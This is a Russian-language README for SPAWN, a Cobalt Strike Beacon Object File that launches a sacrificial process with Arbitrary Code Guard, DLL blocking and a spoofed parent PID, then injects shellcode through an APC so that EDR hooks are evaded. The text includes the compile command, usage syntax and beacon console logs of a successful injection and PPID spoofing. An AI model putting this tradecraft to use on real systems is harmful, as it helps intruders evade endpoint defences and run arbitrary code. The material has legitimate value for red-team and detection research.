SPAWN - BOF для Cobalt Strike

BOF для Cobalt Strike, который порождает жертвенный процесс, внедряет в него шеллкод и выполняет полезную нагрузку. Создан для обхода EDR/UserLand-хуков путём порождения жертвенного процесса с защитой Arbitrary Code Guard (ACG), BlockDll и подменой PPID.

Из-за ACG этот BOF не поддерживает шеллкод, который зависит от следующих возможностей:
- Переключение прав доступа к памяти между RW/RX.
- RWX-память
Для внедрения шеллкода в порождённый процесс, который зависит от указанных выше возможностей, см. проект Hollow BOF
За отличное объяснение ACG спасибо блогу Адама Честнера (см. ниже).

Новые возможности (08.01.2021)

Порождать жертвенный процесс с защитой Arbitrary Code Guard (ACG), чтобы предотвратить внедрение EDR-решений в DLL порождённого процесса.
- См. блог Адама Честера "Protecting Your Malware". Эта часть BOF основана на его работе.
Внедрение и выполнение шеллкода.

Всплывающий калькулятор из процесса, защищённого ACG

beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN/popCalc.bin
[*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)
[+] Получен дескриптор 0x534 для процесса 6248(PID)
[+] Порожден процесс: notepad.exe | PID: 8404 | PPID: 6248
[+] Выделена память RE в удаленном процессе 8404 (PID) по адресу: 0x00000177A72C0000
[+] Записано 280 байт в память удаленного процесса 8404 (PID) по адресу 0x00000177A72C0000
[+] APC поставлен в очередь для главного потока процесса 8404 (PID) по адресу шеллкода 0x00000177A72C0000

Новые возможности (19.07.2021)

Интерфейс CNA-скрипта Agressor

beacon> help
    spawn                     Запустить процесс с подмененным PPID и blockDll
beacon> help spawn
Краткое описание: spawn /путь/к/exe PPID
beacon> ps
8264  5536  OneDrive.exe                 x86   1           DESKTOP-KOSR2NO\boku 
beacon> spawn cmd.exe 8264
[*] SPAWN (@0xBoku|github.com/boku7)
Получен дескриптор 0x634 для процесса 8264(PID)
Успех! Порожден процесс: cmd.exe | PID: 5384 | PPID: 8264

Подмена PPID
Функциональность blockdll, аналогичная Cobalt Strike

Компиляция с помощью x64 MinGW:

x86_64-w64-mingw32-gcc -c spawn.x64.c -o spawn.x64.o

Запуск из консоли Cobalt Strike Beacon

После компиляции импортируйте скрипт spawn.cna в Script Manager Cobalt Strike.

beacon> spawn /путь/к/exe PPID /локальный/путь/к/шеллкоду.bin

Список задач

~~Скрипт Agressor для улучшения пользовательского опыта~~
~~Подмена PPID для улучшения OPSEC отношений родитель-потомок~~
- Здесь мы видим, что наш процесс cmd.exe порождается с PPID от OneDrive.exe
Реализация функциональности Cobalt Strike blockdll для предотвращения загрузки DLL, не подписанных Microsoft, в память порожденного процесса
- Мы видим отношение родитель-потомок, и что созданный процесс имеет ограничение Signatures restricted (Microsoft only)
- Signatures restricted (Microsoft only) не позволяет загружать DLL, не подписанные Microsoft, в наш порожденный процесс
~~Не вызывать сбой процесса beacon, если PE-файл не существует~~
- Больше нет сбоя при ошибке создания процесса!
~~Возвращать PID в консоль Cobalt Strike при запуске нового процесса~~

Зачем я это создал?

1. Чтобы узнать больше о BOF для Cobalt Strike

2. Мне нужна гибкость в выборе жертвенных процессов.

Запуск одного и того же процесса для каждой операции fork-and-run кажется мне плохой/предсказуемой OPSEC.
Возможно, для этого уже есть методы, встроенные в CS, но я хотел сделать свой.

3. У меня много крутых идей для BOF, которые я хочу реализовать на этой основе.

Благодарности / Ссылки

Подмена PPID и функциональность blockDll

Особая благодарность: Adam Chester @_xpn_ + @SEKTOR7net + Raphael Mudge
Спасибо за вашу потрясающую работу. Без ваших блогов, видео и замечательного контента я бы не смог опубликовать это.
Основные источники по подмене PPID и blockdll:

Raphael Mudge - Beacon Object Files - Luser Demo

https://www.youtube.com/watch?v=gfYswA_Ronw

Cobalt Strike - Beacon Object Files

https://www.cobaltstrike.com/help-beacon-object-files

Ссылки на код BOF

spawn

Популярное